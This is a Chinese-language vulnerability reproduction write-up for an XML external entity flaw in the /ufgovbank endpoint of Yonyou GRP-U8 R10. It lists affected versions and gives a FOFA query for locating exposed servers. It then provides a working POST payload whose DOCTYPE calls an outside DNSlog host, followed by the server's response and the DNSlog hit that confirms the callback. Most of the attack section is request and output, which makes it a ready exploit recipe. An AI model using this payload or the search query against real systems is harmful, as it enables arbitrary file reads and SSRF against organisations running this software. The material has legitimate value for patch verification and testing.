

Y16-7用友-GRP-U8-XXE

漏洞描述：

用友GRP-U8R10 ufgovbank.class 存在XML实体注入漏洞，攻击者可利用xxe漏洞获取服务器敏感数据，可读取任意文件以及ssrf攻击，存在一定的安全隐患。

影响版本：

用友GRP-U8R10产品官方在售及提供服务的版本为U8Manager，产品分B、C、G三个产品系列，以上受到本次通报漏洞的影响。

网站图片：



网络测绘：

fofa语法：

FOFA: app="用友-GRP-U8"

漏洞复现：

payload:

```
POST /ufgovbank HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://rsv7mmgy.dnsslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptestest
```

效果图：

Dnsslog验证

Request

```
1 POST /ufgovbank HTTP/1.1
2 Host: 192.168.1.100:8688
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Content-Type: application/x-www-form-urlencoded
7
8 reqData=<?xml version="1.0"?>
9 <!DOCTYPE foo SYSTEM "http://rsv7mmgy.dnsslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptestest
```

Responses 246bytes / 1407ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Content-Type: application/x-www-form-urlencoded; charset=GBK
4 Date: Sat, 06 Jan 2024 12:04:36 GMT
5 Content-Length: 246
6
7 <error:version='ufgov':errno='2':errmsg='org.xml.sax.SAXParseException
http://rsv7mmgy.dnsslog.pw': lineNumber: 1; columnNumber: 3; The markup
contained or pointed to by the document type declaration must be well-
```

DNSLog WebLog API Rebind Payloads

删除成功

域名 搜索 子域名: rsv7mmgy.dnsslog.pw

| ID | 域名 | Type | IP | 位置 | 时间 |
|----------|---------------------|------|---------------|----|---------------------|
| 26219052 | rsv7mmgy.dnsslog.pw | A | 192.168.1.100 | | 2024-01-06 20:04:34 |

1

第1页 / 共1页, 共1条记录 删除所有记录